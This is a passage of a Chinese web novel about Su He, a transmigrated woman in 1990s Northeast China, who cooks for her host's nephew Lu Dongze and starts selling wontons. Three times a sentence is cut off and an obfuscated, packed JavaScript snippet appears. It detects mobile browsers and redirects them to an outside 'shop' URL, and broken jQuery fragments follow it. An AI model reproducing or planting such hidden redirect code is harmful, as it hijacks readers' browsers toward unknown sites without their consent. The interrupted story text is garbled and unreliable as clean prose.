听她的语气不像是在开玩笑,摊主倒是被气笑了。
放下手里的麻绳,想着她是外地人就没有发火,只是摆摆手说:“姑娘,大蒜就没有这么卖的,一颗一颗地买,还剥皮?你上哪去问都没有这么做生意的。”
正说着,一个拎着大包小裹的老太太就从旁边走过,只往三轮车上瞥了一眼,就随手拽了两串掂了掂份量。
“夺钱一斤?”
“两毛,这都是今年的新蒜,炒菜醋腌包饺子都老有滋味儿了。”
“那给我约个两串吧,算算夺钱?”
“一串是五斤,买十斤送一斤,你再看着兜几个吧。”
没有讨价还价,也没有挑挑拣拣,两三句话的功夫就完成了一场交易。
把钱收进口袋,摊主又说:“谁家买蒜都是几斤几斤的买,至少也得一斤,一两颗?呵,还不够吃顿饺子的。”
“好吧。”
可能这就是南北方的差异?
苏禾若有所悟地点点头,像刚才那位老太太一样,挑了两串绑好的大蒜。
拎着大蒜,苏禾在附近的几个摊位转了转。
摊位上卖的山货一样比一样新奇,好多菌菇都是之前没见过的,还有好多用皮草制作的披肩、围脖,甚至还有不知道用什么角做的帽子。
“来人了,快跑!分开跑!”
“都给我站住!”
不知道前面发生了什么,只见不少看热闹的人都乱糟糟地挤成了一团。
哪怕离得有十几米远,苏禾都能看到那个高大凶猛的身影在人群中冲撞,如同一头从山林里跑出来的熊,一个箭步上前,就抓住了前面男人的肩膀。
男人还在试图还手反抗,却被一个侧肩摔给狠狠地撂在了地上,抓住手臂用力向后一掰……
“啊!!手!我的手!”
“老实点,再动我就给你拧下来!”
那只“黑熊”的声音铿锵有力,带了几分沙哑,听得人心头跟着一颤,膝盖抵在男人的后背上,好像只需要轻轻一扯,就能把他的两条胳膊给扯下来。
超过一米九的身高、倒三角一样的肩宽、能轻松握住一只篮球的大手……
这跟成了精的黑熊有什么区别?
不知道他们之间发生了什么,所以没有人敢上前去劝架,除了不想掺和之外,也是怕男人那堪比沙包的拳头落在自己身上。
男人痛苦的叫喊声,激得苏禾起了一身的鸡皮疙瘩。她可不想再凑这热闹了,于是赶紧拎着那两串大蒜扭头走人。
趁着苏禾买蒜的这会儿功夫,秦冬梅已经把需要的菜都买齐了,菜篮子被沉甸甸的几块肉塞得满满当当。
知道自家的外甥喜欢吃羊肉,一回到家,秦冬梅就赶紧把羊肉给腌上了,另一块牛肉也切碎了和葱拌在一起准备包点饺子。
趁着秦冬梅揉面的时候,苏禾也挽起袖子,主动请缨说:“阿姨,要不我来炒肉吧?”
秦冬梅一直把外甥当成儿子来看待,既然以后要留在她身边生活,那这位外甥也算是自己在这个家的大哥了。
和大哥的第一次见面,苏禾没什么能拿出手的礼物,只能借花献佛,亲自下厨给他做两道炒菜。
“好啊!”
苏禾的建议说到了秦冬梅的心坎上,“你的手艺好,要是你来做,你哥指定喜欢!”
说着,秦冬梅就拉着揉面的案板,给她腾出了半边位置。
牛肉大葱的饺子,一会要和孜然一起炒的羊肉,看着碗里的那块带皮的五花肉,苏禾很快就想到了要做什么。
有辛香、有麻辣,这时候最适合再来一道酱香的家常菜。
在灶火上简单燎了一下猪皮,苏禾用刀熟练地把肉切成了麻将块大小,等锅里的水烧热后,放几片葱姜,再把肉块丢进去焯一下,等到血沫都浮出来后,把肉捞出来放进温水里……
滋滋,滋滋~
锅里的冰糖慢慢融化,变成了诱人的枣红色,把肉倒进去快速翻炒,使得每一块肉都裹上了一层琥珀。
“哎呀我天,这肉也太香了?!”
看着锅里逐渐上色的五花,肥肉部分被炒得微微发焦,秦冬梅不由得感叹道:“瞅瞅这红烧肉给炒的,啧啧……!”
自家做饭没那么多讲究,管它炒得咋样、味道如何,只要最后能填饱肚子就好,最精致的过程,大抵就是出锅前往盘子里撒点葱花香菜,加点颜色了。
可苏禾做的红烧肉却是色香味俱全,每一块都跟训练有素的兵一样,整整齐齐躺在锅底。
倒一碗温水,再加几勺调味料,接下来只需要等着味道逐渐酝酿就好。
咕嘟咕嘟……
香味顺着锅沿一丝一缕地往外冒,溜出了房门,飘到了隔壁的院子。
“臭小子,瞅你那没出息的样!”
李婶子抄起笤帚在李阳的屁股上不轻不重地打了一下,“昨天没让你吃肉咋地?”
“香嘛!”
李阳不服地揉了揉屁股,即使屁股上挨了一下,还是在不停地呼吸着从隔壁飘来的香味:“哼哼,啊~!这香味儿,指定是苏姐姐做的。”
李婶子嘴上骂儿子没出息,可这一阵阵的肉香,也让她偷偷咽了咽口水。
真的是香哎~!
她也会做红烧肉,却绝对做不出这么丰富的味道。
浓浓卤肉香中带了一丝丝的甜,往里面倒了的那点酒,也被高温氤氲成了独特的酱香,和调味料的各种滋味混合在一起,光是闻着就直勾人肚子里的馋虫。
炖了十来分钟,锅里的酱汁已经收得差不多了。
掀开盖子,原本炒得表面微焦的五花肉块
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586434|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
变得更加红亮,筷子一戳就能陷进肉里,试图捞出一块尝尝味道,颤巍巍的肉块,好像稍微用一点力就会被筷子夹断。
锅底放了几颗早上煮的鸡蛋,吸饱了汤汁后,也变成了一颗颗漂亮的元宝。
“尝尝看味道怎么样?”
接过苏禾手里的碗,也顾不得是刚出锅的肉了,只吹了两口气,秦冬梅就迫不及待地把肉递到了嘴里。
“嗯!哦哦!嗯!”
肉在嘴里烫得来回跳舞,秦冬梅却不舍得吐出来。
这滋味也太带劲了?!
肥肉根本不用嚼,轻轻一抿就化在了舌尖,吸饱了汤汁的瘦肉也一点不柴,咬下去时,满口都是浓郁的肉香。
“好吃,真好吃,”说着,秦冬梅又从锅里夹出了一块,“不是我瞎胡吹,你这手艺绝对跟咱市建国饭店的厨子有一拼!”
秦冬梅没去过建国饭店,不过在她的印象里,建国饭店的饭菜就是最顶尖的水平。
所以,苏禾的手艺就是最顶尖的。
把锅里的红烧肉都盛出来,一向不怎么在意摆盘的秦冬梅,都下意识地蹭去了沾在碗边缘的酱汁,原本她还想再撒一点香菜的,可怕乱了味道,这才作罢。
抬头看了眼挂表上的时间:10:46
嗯,等把饺子包好了下锅,估摸着他也该到家了。
“阿姨,家里的醋快没了,”晃了晃见底的玻璃瓶,苏禾说,“我去小卖部买一瓶吧。”
“去东头的小卖部,买那种一毛五的山西老陈醋,瓶装的醋味儿不正。”
停顿了片刻后,秦冬梅用围裙擦了一把手,接过了她手里的玻璃瓶:“你不认得路,还是我去买吧,你搁家再扒两头蒜就行。”
“好。”
临出门时,那个毛茸茸的脑袋瓜又从墙头探了出来。
“秦姨,今儿是不是我苏姐姐炖的肉啊?我隔着墙都闻见了。”
摘下围裙掸了掸裤腿的尘,秦冬梅笑道,“你的鼻子还挺灵?这都能闻出来。”
“那可不。”
扒在墙头上使劲儿地往里屋看,李阳恨不得把整个身子都伸过来。
“想吃啊?”
“嗯呐!”李阳点头如捣蒜。
秦冬梅:“那还在墙头趴着干啥?赶紧下来,让你苏姐姐给你盛几块啊。”
“好!我马上来!”
当了几十年的邻居,两家的关系一直很好,自家外甥小时候经常被老李两口子关照,隔壁的一对姐弟也是秦冬梅看着长大的,所以有什么好东西,两家都会跟彼此分享。
“小禾,一会阳阳来了给他夹几块肉。”
“哎,好。”
拿出一只碗,苏禾挑了几块肉和一颗鸡蛋,想着他爱吃拌饭,还特地舀了一勺的肉汤。
噔噔~!
刚放下勺子,苏禾就听到了外面的敲门声。
“来了来了。”
端着碗,苏禾快步走了出去。
可当她打开门时,等在外面的却不是隔壁邻居家的皮猴子李阳,而是一个比自己高出一头多,肩膀宽厚的成年男人。
5. 第 5 章
他好像是早集上的那头黑……啊不,那个男人。
斗殴时沾着的灰土都已经拍打干净,不过,袖子处豁开的那道口子还在,眉角的擦伤也是他同人打过架的铁证。
男人的手里拎着一只印着尿素的蛇皮袋,里面鼓鼓囊囊不知装了些什么,看似拎在手里十分轻松,实则少说也有小几十斤重。
抬头看向男人的脸时,端正的五官让她的瞳孔微微张大了些许,不过逆着光的角度还是让她不由得向后退了半步。
苏禾没有半点看到帅哥时的欢喜,只有脑海里他一下子把人撂倒在地的惊悚画面。
男人的身形能挡住门外大半的冷风,可比起深冬的风,他脸上的表情更冷。
高眉骨、深眼窝,不用瞪眼都带有一股粗犷的狠劲儿,摘下挡在脸上的围巾时,青色的胡茬从下巴一直连到鬓角,脸上没有一点多余的肉,全是那种硬邦邦的线条。
看得出来,他已经把自己收拾得很干净了,只是麦色的皮肤显得整个人有些粗糙。
直觉告诉苏禾,眼前的男人并不是村里的人,也绝非善茬。
他为什么会出现在这里?
“你,你找谁?”苏禾壮着胆子,警惕地问他道。
不止是苏禾,在看到家里出现一个陌生的漂亮女人时,陆东泽的目光也跟着顿了一下。
直到听见她故作强硬的一声询问,才回过神来。
她应该就是秦冬梅电话里说的那个,从河里捡来的姑娘。
说话时,她的半边身子躲在门后,像极了一只还没出窝的小猫崽,分明在很努力地露出爪子想要吓退自己,可软绵又轻柔的声音,怎么听都像是在撒娇。
放下手里的麻袋,陆东泽轻咳了一声:“你是苏禾吧,我……”
“东哥!”
话还没说完,从隔壁跑出来的李阳就激动地大喊了一声。
三步化作两步地跑过来,再接一个原地起跳,就这么像猴子上树一样,一头窜到了陆东泽的怀里。
“你可老长时间没回来了,想死我了都!”
托着李阳的腰,刚才还很凶很冷的一头大黑熊,在面对扑过来的皮猴子,嘴角也露出了欢喜的笑模样。
陆东泽不笑时很凶,笑开了却又像个大男孩。
“就你自己一人在家?你姐呢?”
李阳:“过两天才回来呢。”
“你小子,变沉了不少啊。”
抓住李阳的手脚,陆东泽像是提溜小猪仔那样,上下掂量着他的体重,“现在得有六十斤了吧。”
原来他就是秦冬梅的外甥啊。
看到李阳被他玩闹地拎了起来,苏禾悬着的心这才放下。
“放我下来,快放我下来。”
李阳从小到大都喜欢跟陆东泽这么玩,不过现在当着苏禾的面,他还是要注意形象的。
抖了抖裤腿和袖子,李阳主动替他们相互介绍:“哥,这是苏姐姐,南方来的。”
“苏姐姐,这是我东哥,在市里头当警察的,可有本事了!”
再次看向陆东泽,苏禾这才注意到,他冷冰冰的表情其实不是那种阴沉的凶狠,而是军人特有的庄重。
既然他是警察,那他在早集上出现就是在抓捕犯罪分子了?
想到这,苏禾心里的恐惧瞬间减少了大半,半躲在门后的身子也完全走了出来。
捋平衣服上的褶皱,陆东泽用那一口大碴子味的普通话,正式地向她自我介绍,“你好,苏禾同志,我叫陆东泽。”
想着以后是一家人,走过来的苏禾正准备握住他伸来的手,像李阳一样叫他一声哥。
可当听到他的名字时,刚刚露出的些许笑意倏地僵住了,抬起的手也下意识地缩了回去。
陆东泽?
这不是书里那个反派大佬的名字吗?!
身为一个不起眼的炮灰,书里的剧情苏禾并不清楚,她只记得陆东泽的名字写在了反派栏的第一位,几乎一大半配角和炮灰的下线都和他有关。
秦冬梅的外甥竟然就是陆东泽?世界上怎么会有这么巧合的事……
想到这儿,苏禾只觉得大脑缺氧,眼前一阵晕眩。
“怎的了?”
见苏禾的脸色变得煞白,微微晃动的身形似乎要被这一阵微风吹倒,陆东泽赶忙把握手的动作换成了搀扶。
面对他的好意,苏禾却躲开了。
努力地让自己站稳,苏禾勉强挤出一丝干巴巴的笑:“我没事,没事。”
可即便现在是躲开,在看到他宽厚的手掌里那几处粗糙的茧子,还有手背上微微凸起的青筋时,苏禾还是会有种未来会栽在他手里的预感……
秦冬梅的腿脚很快,没几分钟的功夫就拿着醋回来了。
“你小子回来的挺是时候,饭马上就好。”
回来时,陆东泽正在院子里给馄饨车换脚蹬。
往里屋示意了一眼,秦冬梅又低声问道:“见到小禾了没?”
抬起头,陆东泽“嗯”了一声。
秦冬梅笑着说道:“我说得没错吧?小禾是个老实人,以后你可有妹子了。”
妹子?
按照辈分,这个称呼是没错,不过听着总觉得怪怪的。
陆东泽没说话,只是徒手把铁丝一圈又一圈地拧在了脚蹬子上。
来到屋里,放下手里的醋瓶,秦冬梅看了眼苏禾。
走时她还好好的,此时却跟个鹌鹑一样,怯怯地坐在灶台前扒蒜,大气都不敢喘一口。
想来她应该是被吓到了。
陆东泽个子高大,又是办案子的警察,看起来难免凶了一点,像苏禾这样娇滴滴的姑娘,第一次见面被他吓到也很正常。
“别怕,你东哥不是坏人,”来到苏禾身边,秦冬梅从口袋里拿出一沓刚买的新棉袜塞给她,“他就是看着凶了点,实际上性格好得很,以后处得时间长了你就知道了。”
接过白色的棉袜,苏禾无奈地“嗯”了一声。
她也想“处”得时间长点,只是不知道在他手底下,自己能不能活得那么久而已。
包好的饺子在锅里滚了又滚,等到一只只小胖子都飘起来后,另外一口锅里的孜然羊肉也炒好了。
“东啊,别忙活
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586435|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,先进屋吃饭。”
“来了。”
洗了一把手上的泥污,进门时,陆东泽一下又带进了一股凉飕飕的风。
一米见宽的饭桌上摆着好几只盛着菜的盘子,再加上三副碗筷,看着显得有些拥挤,不过比起平日的一只盘子、一只碗,却要热闹很多。
秦冬梅坐在中间,陆东泽和苏禾坐在她的两侧。
不同姓氏的一家人第一次坐在一起吃团圆饭,气氛多少有些尴尬。
秦冬梅主动挑起话头,一边往他的碗里拨着饺子,一边说:“东子,这就是我跟你说的小禾。小禾是个苦命人,在咱们这儿没亲没故的,以后她就是你妹子了,有事没事的多照顾着点。”
陆东泽没说话,只是往嘴里塞了一只饺子,“嗯”了一声后又点点头。
秦冬梅有些纳闷。
今天这小子是怎么了?平常他也不是什么缩手缩脚的人,可今天却怎么都放不开,像是被什么束缚着,坐得也没平时那么端正,弓着身的样子像是在刻意显得自己矮一点。
不止是这样,就连咀嚼的动作都放得很轻。
他怕吓到苏禾。
嚼着嘴里的饺子,陆东泽表面在看着桌子上的菜色,可目光总会控制不住地掠过坐在对面的苏禾。
活了三十年,这是陆东泽第一次见到像苏禾这样的南方人。
之前就听说南方的姑娘个个性格温婉、小家碧玉,却没想到,她要比想象中更加地娇柔。
和平日里接触的大咧咧的东北姑娘不同,苏禾看着小小的一只,不止是身材,她的脸蛋、四肢都很娇小,跟小猫似的,好像一只手就能轻松握住她的腰肢。
刚才她来给自己开门,扬起头时脸颊微微泛红,水汪汪的眼睛清澈明亮,尤其是当她开口时,那一口糯糯的、软软的音调……
这是他从来没有过的感觉,仿佛是不小心踩在了一块棉花糖上,一下子就陷了进去,甜滋滋的。
“要醋不?”
拿起醋瓶,陆东泽主动问她道。
为了不吓到她,他努力控制着自己的语气,让说话声听起来不那么凶。
可即使是在他听来极克制的音调,也还是把苏禾震得一哆嗦。
他的声音闷闷的,像是从喉咙里滚出来的雷,不像是询问,更像是命令。
尽量保持着若无其事,苏禾勉强挤出一个淡淡的笑:“好,好的,谢谢。”
接过瓶子往碗里倒了一点醋后,苏禾赶紧低下了头。
她能感受到有一束目光正在不停地、有意无意地打量着自己。
那些藏在丛林暗处的猛兽,就是这样观察着它们的猎物,稍微不顺它们心意就会被生吞活剥。
现在是逃过一劫,那以后呢?
扑通扑通……
苏禾紧张得好像听到了自己的心跳声。
一想到未来可能会死在陆东泽的手上,她就完全提不起食欲,小小地在那只蘸了醋的饺子上咬下一点,眼眶都控制不住地湿了。
而此时此刻,看到苏禾眼底里的那一汪被感动的清澈,陆东泽却长长地松了一口气。
6. 第 6 章
“别光吃饺子啊,”说着,秦冬梅就往他的碗里夹了几块肉,“快尝尝,听说你回来,小禾特地给做的。”
那碗红烧肉早早就做好了,一直放在篦子上温着。
每一块肉都还是热的,不过浇在表面的那层酱汁已经变得粘稠,夹起时还会拉出长长的丝。
其实刚坐下时,陆东泽就注意到了那碗浓油赤酱的元宝红烧肉。
秦冬梅的手艺他最清楚,那勾人食欲的酱色,绝对不是出自她手,只是方才他的注意力一直在对面的苏禾身上,才会忽略了放在她面前的那只碗。
特地做的?
看看碗里的红烧肉,再看看对面的苏禾,陆东泽的心头倏地闪过了一丝莫名的情绪。
听到秦冬梅叫自己的名字,苏禾条件反射地稍微直起了身子,咬着手里的筷子,在看向对面的陆东泽时,她原本就紧张的脸颊也变得更红了:“做得一般,呃,也不知道合不合你的口味。”
早知道秦冬梅的外甥是陆东泽,她就不做这么普通的元宝红烧肉了。
佛跳墙、文思豆腐、汤煲三套鸭……
自然是要准备各种珍馐美味才是,这样才配得上他反派大佬的身份。
而且话说回来,要是真能靠美食把他哄好了,说不定自己还能多苟活几天。
一层肥肉、一层瘦肉,琥珀色的酱汤均匀地包裹在表面,筷子好像只需要稍稍用力,就能挤出更多鲜甜的汁水。
肉块红得透亮,肥肉部分甚至能透光,可比起对面苏禾脸颊晕起的绯红,还是差了点意思。
她好像是在等待着自己的评价。
夹起碗里最大的那块肉,陆东泽一口塞进嘴里……
“嗯!”
一边咀嚼一边点头,不需要什么夸赞,他的表情已经能说明一切了。
苏禾的手艺,就像她本人一样,让陆东泽感到惊喜、诧异。
入口先是微甜,很快肉的滋味就透出来,最后还有卤料的回甘……丰富的味道并不像是东北菜那样,一股脑地倒出来,而是一点一点在口腔里绽开。
可惜,今天中午的饭是饺子,要是能换成大米饭,光是拌上这酱汁他就能干两大碗!
咽下嘴里那口肉,还没来得及说些什么,陆东泽就又夹起一块塞进嘴里,同时拿起剥好的那一瓣蒜,少少地咬下了一点。
老话说得好:吃肉不吃蒜,香味少一半。
吃这么带劲的红烧肉就得配上蒜,才能吃出真正的肉味!
苏禾剥得蒜很干净,一点蒜衣都没有,不知道是不是心理作用,吃到嘴里时也不像平常吃的那么辛辣,反而还越嚼越香。
“味道咋样?”秦冬梅一脸期待地问道。
比起苏禾,她似乎更期待听到陆东泽的评价。
脸颊的咬肌一棱一棱地动,咀嚼时,连带着太阳穴都跟着微微凸了凸。
最后,喉结跟着往下猛地一滚,这才吐出几个字来:“嗯,好吃。”
“还有呢?”
陆东泽继续点着头:“香得很。”
秦冬梅戳了他一眼,“没别的了?”
咂着嘴里的余味,陆东泽也想多说些什么,可是他就是个大老粗,初中没读完就回家种地,后来又去了部队当兵。
以他的文化程度,除了“好吃”、“美味”、“香得很”,实在想不到什么像样的词去形容。
见陆东泽没说下去,秦冬梅这才继续引导道:“小禾做的菜你也吃了,那帮她办户口这事,你是不是得帮个忙啊?”
原来是这事啊。
端起杯子,一口把饮料喝了个干净,在说起正事时,职业习惯使得陆东泽的神情变得严肃了些许:“大姨,办户口没问题,只是有些话,我还得提前问清楚。”
人不可貌相,总不能瞧着她柔弱不能自理,就掉以轻心。
毕竟家里要收留一个人可不是什么小事。
“行行行,你问吧。”
秦冬梅没有阻拦,而是给他们的碗里各夹了两块自己做的孜然羊肉。
“苏禾同志,请问……”
“同志?你搁这审犯人呢?”秦冬梅打断了他的话,狠狠地戳了他一眼,似是在责怪他的语气太冷厉,“这又不是在警察局,你叫小禾就行了。”
重新端正坐好,陆东泽这次换了个称呼,不过语气依旧没变:“小禾,你的老家是哪的?是怎么来到我们哈市的?”
放下手里的筷子,陆东泽的问题并不算尖锐,却让苏禾浑身的每个毛孔都格外紧张。
“我家在苏市,是被我叔叔婶婶卖给人贩子后,送到东北的。”
“人贩子?”一听到可能有新案子,陆东泽连忙追问道,“他把你卖到哪里了?你还记得吗?”
苏禾摇摇头,头微微低下了一点。
“你哪一年生,今年多大?”
“七六年的,今年二十。”
“是在读书?还是工作?”
“工作,在纺织厂上班。”
“之前有没有什么违法违纪的行为?如果有的话,一定要老实交代。”
“没有没有,我,我,我什么都没做过。”
面对陆东泽的询问,苏禾原本就很紧张,在问到这些问题时,急得眼泪一下子又涌了上来,开始来回地在眼眶里打转。
她不是想哭,只是在听到他严肃的语气时,单纯控制不住自己的眼泪。
见苏禾害怕得声音都在颤抖,秦冬梅心疼得不行,不轻不重地在陆东泽手臂上拍了一下,“你嘎哈啊?问点事咋还带凶人呢?”
陆东泽:???
他有凶吗?他分明已经很克制自己的语气和声音了。
秦冬梅多少年没流过眼泪了,村里的姑娘们也是个顶个的强悍,自打懂事开始,她们就不怎么哭了。
可是,在看到苏禾微红的眼眶时,她心尖上最软的一处却疼得很,忍不住地想要护住她。
“问完了没?这事儿能给办不?”
第一次面对这么娇滴滴的女孩,陆东泽有些手足无措,不知道该怎么办,只得再次弯下了脊梁,让自己看起来不那么凶。
“能办,我下午就去户籍科问问,看还需要什么材料。”
说完,他便夹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586436|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起碗里那一大片孜然羊肉,堵住了自己的嘴。
扑通扑通……
陆东泽莫名感觉有些紧张。
他不知道是为什么,偷偷地留意着苏禾的那双眼睛,分明今天是他们第一次见面,可他却也像秦冬梅一样,害怕她的眼泪会掉下来。
吃完饭后,碗筷和桌子都交给了陆东泽收拾。
带着苏禾来到里屋,秦冬梅一边翻找着针线,一边对外面的陆东泽说:“那我回头就跟你王姨定下了?下周六在咱家,跟人姑娘见个面。”
陆东泽没回应,只是用丝瓜瓤搅和着锅里的水,试图用水声蒙混过去。
“听见了没?!”秦冬梅又提高音调道。
“啊?”陆东泽还在打岔,“我带回来的核桃随便吃,吃完了我再去买。”
“臭小子!”
秦冬梅刚把线仞进针里,就被他气得掉出来了,“你别逼我扇你啊。”
陆东泽这才回道:“行,我知道了。”
年龄大了,眼神也不管用了,秦冬梅手里的线头在针上戳了半天都没找到眼儿,最后还是苏禾帮她把线穿进去的。
担心她会扎到自己,苏禾主动从线筐里拿出顶针,套在自己的手指上:“姨,要不我来缝吧。”
原主从小就在叔婶家做这些杂事,循着她的记忆,苏禾相信自己能做得好。
“行,那就你来。”
秦冬梅没有跟她客气,而是拿过陆东泽那件破了的棉衣,一边比着,一边指导她,“一会就这么缝,这样线头就看不见了。”
苏禾的手巧得很,不仅会做饭,这些指尖上的小事也是信手拈来,细密的针脚跟缝纫机匝出来的一样。
看她捻着手里的针来回穿扯,秦冬梅越看越喜欢。
同样是缝衣服,她轻柔柔的动作咋就跟跳水袖舞一样好看呢?
“大姨。”
正出神地瞧着,洗完碗的陆东泽就推门进来了。
放下挽起的袖头,陆东泽对她说道:“往后天越来越冷,你年纪也上来了,就别去卖馄饨了。”
“不去卖馄饨,搁家喝西北风啊?”
说是这么说,可实际上,秦冬梅并不缺钱。
自从陆东泽工作后,工资大半都交到了她手里,而且村里还有地能种,再加上以往攒下来的抚恤金,她的日子已经过得比村里大多数人滋润了。
只是秦冬梅闲不下来,过不惯什么都不干的懒散日子,所以才会去市里卖馄饨,也是想趁着现在自己还能干,给陆东泽多攒点钱。
“好几里的路,冬天风又大,一个人走多不安全。”
秦冬梅不以为然:“有啥不安全的,都走这些年了,我还能把自己给丢了。”
陆东泽坚持道:“不行,万一碰上下雪,天黑路滑啥的……”
“我虎啊?天要不好我不会在家歇歇?”
两人你一句、我一句,分明是在商量,可那粗豪的语调怎么听都像是在吵架。
用手指给最后的线头捻了个结,放下手里的针后,苏禾提议道:“要不,我以后陪着姨一起去摆摊吧。”
7. 第 7 章
陪秦冬梅去卖馄饨的事,苏禾可不止是说说而已。
第二天一早,前脚刚听到秦冬梅在外屋准备食材,后脚苏禾就也点上灯准备起床。
“这才不到五点,你不再睡会了?”
系上棉袄的扣子,苏禾主动上前帮她往面里舀了小半碗的温水,“昨天不是说好了嘛,以后我都陪您一起去卖馄饨。”
揉着手里的面团,秦冬梅淡淡地道:“嗐,不用陪,我一人去就行。”
秦冬梅没想过让苏禾陪自己出摊。
当初收留她,是真心觉得她命苦,想跟她搭伙过日子,不是为了要她给自己当牛做马的。平时能拾掇拾掇家,做点简单的家务就行,这种风吹日晒的活她怎么干得了?
可见她挽起袖子认真地帮自己切菜备菜,又不舍得拦她的一片好心。
苏禾坚持道:“那不行,东哥不是说了嘛,天冷了,您一个人出门不安全。”
滴水之恩,自当涌泉相报。
秦冬梅救了自己,又给了自己一个家,报答她是应该的。当然,苏禾除了不想留在家里吃干饭之外,也是想通过这样的方式,希望能在陆东泽手下多苟一苟。
都说东北人孝顺,或许他能看在自己照顾他大姨的份儿上,留自己一条命呢?
把昨天剁好的肉馅分成三份,一份放入韭菜、一份放入玉米粒、最后一份放入酸菜,三种不同口味的馄饨馅就都备好了。
为了保证味道,秦冬梅的馄饨每天都是现做现包,从皮到馅,绝不隔夜。
趁着时间还早,秦冬梅就先和苏禾坐下包好一些备着,这样等一会出摊的时候,就不会让食客们等得太久。
本来秦冬梅是想要教她怎么包馄饨的,不过苏禾说自己会包,想到她之前炒得菜味道不错,秦冬梅就没多问,于是就自顾自地包了起来。
秦冬梅卖了十来年的馄饨,包馄饨的手法十分娴熟。左手握着一沓面皮,右手里舀着肉馅的勺子往面皮上一抿,拇指再跟着往下一压一捻一推,一只白色的小金鱼就这么滚在了木板上。
每一只都是差不多大小,透过薄薄的馄饨皮,依稀还能看到里面的玉米粒。
“你这……?”
扭头看一眼苏禾包的馄饨,秦冬梅惊得说不出话来。
馄饨的形状并不统一,每个人都有自己包馄饨的方法,她见过各种各样包馄饨的手法,有的像自己一样包成金鱼,有的会包成尖尖的猫耳朵,也有随便用掌心一握,捏得奇形怪状的。
可还是头一次见到像苏禾这样,把馄饨包成像饺子那种胖嘟嘟的金元宝的。
不对,比饺子更像金元宝。
秦冬梅刚想说她包得馅太多了,可当她拿起一只时才发现,重量竟然跟自己包得几乎丝毫不差。
她是怎么做到的?
分明用了一样多的馅,包得却看起来更加饱满。一颗颗紧密地贴在一起,比自己的那一板“金鱼大军”看着还要整齐。
她本以为自己包的小金鱼卖相已经很不错了,但跟她的金元宝比起来,还是差了一大截。
要包出漂亮的馄饨,自然需要复杂的手法。
一叠、二压、三扭、四按……苏禾手上拿一套动作下来,不像是在包馄饨,倒更像是在玩翻花绳,兰花指转了一圈又一圈,花俏得很。
不过也只是看着耽误功夫罢了,实际算下来,并没比秦冬梅慢多少。
苏禾:“怎么了,您说?”
“没啥,”秦冬梅笑笑,“我是想说你包得馄饨真好看,说不定,今天咱们的馄饨就能全部卖掉!”
秦冬梅每年冬天都会去市里卖馄饨,可不管备多备少,大多数情况都会剩下一些,很少能有机会全部卖光。
依次把包好的馄饨收进小木盒里,在往车上搬东西的时候,苏禾看了一眼院子里的“冰柜”,提醒她说:“姨,这块肉今天不用吗?”
秦冬梅家的冰柜,其实就是一块空心的冰,是冬天刚降温时用水缸做的。
东北的气温低,哪怕是出太阳,温度基本也都在零度以下,所以家家户户都会做几个这样的冰柜来保存肉和菜。
“那肉太瘦了,咱留着自己吃。”
包馄饨的肉讲究四肥六瘦,尤其是冬天,更加需要补充热量,所以肥肉要多放一点,这样煮出来的馄饨汤才更香,吃起来也更有滋味。
冰柜里的那几块瘦肉,是秦冬梅做馄饨馅时剩下来的,不多,大概也就小半斤。
拿来卖不合适,留下自家吃倒是挺好。
看向那几小块肉,苏禾的脑海里忽然闪过了一个想法:光是卖馄饨有些单一,要是能再加点花样的话……
“姨。”
走到冰柜旁,苏禾胸有成竹地说,“我有一个主意,能让我试试看吗?”
……
早上七点,红星机械厂的夜班工人陆续下班了。
夜班难熬,虽说同样是八个小时的工作时间,可比起白天却更加磨人,从车间出来时,几乎每个人的脸上都是淡淡的死气。
“一会吃啥?”
“包子鸡蛋糕呗。”
“哥,昨天才刚吃过啊。”
“那除了这,你还想吃点啥?”
也是,厂里的食堂早上来来回回总共就这么几样,实在没什么可挑的。
本来就累得很,一想到还要为吃什么发愁,每个人脸上的死气一下子变得更重了。
去食堂的路上,看到厂子门口冒出的一股股白雾,赵军主动提议道:“要不去门口的早点摊瞅瞅?”
厂子外面的早餐摊也是那老几样,不过味道总比食堂要好一点。
犹豫了片刻,几人勉为其难地点点头,“行吧,那就去看看。”
机械厂门口原本是不允许摆摊的,但是早上没人管,所以有不少人都会趁早上来摆摊,等到了八九点机械厂开始正式上班,再挪去别的地方。
马路两边停了七八辆三轮车,有的在蒸包子、有的在卖面条、还有在卖各种热汤热粥的,从每个摊前经过,都是热气腾腾的。
平常生意最好的是卖煎饼和炸糕的小推车,但今天,卖馄饨的三轮车前却挤满了人。
